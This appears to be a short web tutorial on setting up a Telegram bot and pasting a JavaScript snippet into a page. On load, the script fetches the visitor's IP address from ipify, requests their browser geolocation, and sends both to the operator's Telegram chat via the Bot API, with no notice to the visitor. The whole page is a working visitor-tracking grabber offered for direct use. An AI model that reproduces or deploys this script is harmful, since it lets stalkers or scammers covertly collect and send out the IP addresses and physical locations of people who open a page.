
Related Posts
Steps:
- Open telegram and search
@botfather
- Create bot using this bot
- Copy bot Token that
- Copy chat id
Create bot in Telegram
- Use the Geolocation API to fetch the user's latitude and longitude.
- Use a public IP API
(e.g., https://api.ipify.org)
to get the user's IP address. - Use the Telegram Bot API to send the information to a Telegram bot.
Integration of script
<script>
// Telegram Bot API Token and Chat ID
const token = 'YOUR_BOT_TOKEN'; // Replace with your Telegram bot token
const chatId = 'YOUR_CHAT_ID'; // Replace with your Telegram chat ID
// Function to send message to Telegram Bot
function sendToTelegram(message) {
const url = `https://api.telegram.org/bot${token}/sendMessage`;
const params = {
chat_id: chatId,
text: message
};
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(params),
})
.then(response => response.json())
.then(data => {
console.log('Message sent:', data);
})
.catch(error => {
console.error('Error sending message:', error);
});
}
// Function to get user's IP address
function getIpAddress() {
fetch('https://api.ipify.org?format=json')
.then(response => response.json())
.then(data => {
const ip = data.ip;
getLocation(ip);
})
.catch(error => console.error('Error fetching IP address:', error));
}
// Function to get user's location based on latitude and longitude
function getLocation(ip) {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(position => {
const latitude = position.coords.latitude;
const longitude = position.coords.longitude;
// Prepare the message with IP address and location
const message = `IP Address: ${ip}\nLatitude: ${latitude}\nLongitude: ${longitude}`;
// Send the message to Telegram
sendToTelegram(message);
}, error => {
console.error('Error getting geolocation:', error);
sendToTelegram(`IP Address: ${ip}\nUnable to retrieve location.`);
});
} else {
console.error('Geolocation is not supported by this browser.');
sendToTelegram(`IP Address: ${ip}\nUnable to retrieve location (Geolocation not supported).`);
}
}
// On window load, start the process
window.onload = function() {
getIpAddress();
};
</script>
Explanation How to Setup:
- Telegram Bot API:
- IP Address:
- Geolocation API:
- Window Load Event:
The bot sends the data via the sendMessage method to a specific chat. Replace YOUR_BOT_TOKEN
with your bot's token and YOUR_CHAT_ID
with the target chat ID (could be your personal ID or a group ID).
The script uses the https://api.ipify.org?format=json
service to retrieve the IP address of the user.
The browser's built-in navigator.geolocation is used to get the latitude and longitude of the user.
When the window loads, the script automatically fetches the IP address and location and sends it to the Telegram bot.